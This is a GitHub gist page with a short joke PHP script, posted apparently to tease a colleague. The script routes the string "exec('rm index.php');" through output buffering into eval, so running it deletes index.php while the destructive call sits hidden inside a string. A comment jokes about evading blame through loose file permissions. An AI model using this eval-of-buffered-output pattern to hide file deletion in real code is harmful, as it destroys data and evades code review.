Created
January 22, 2018 20:20
-
-
Save kurtroberts/c23e016b98441100fd1de7c9f851cb0e to your computer and use it in GitHub Desktop.
PHP code to cause @dakhran to sigh in despair.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
//if your permissions are set insecurely, he can't prove you did it either! | |
echo "Let's do this!!!"; | |
ob_start(); | |
echo "exec('rm index.php');"; | |
eval(ob_get_clean()); |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
In version 2, we'll introduce a couple globals, and maybe stuff some extra values in to $_REQUEST.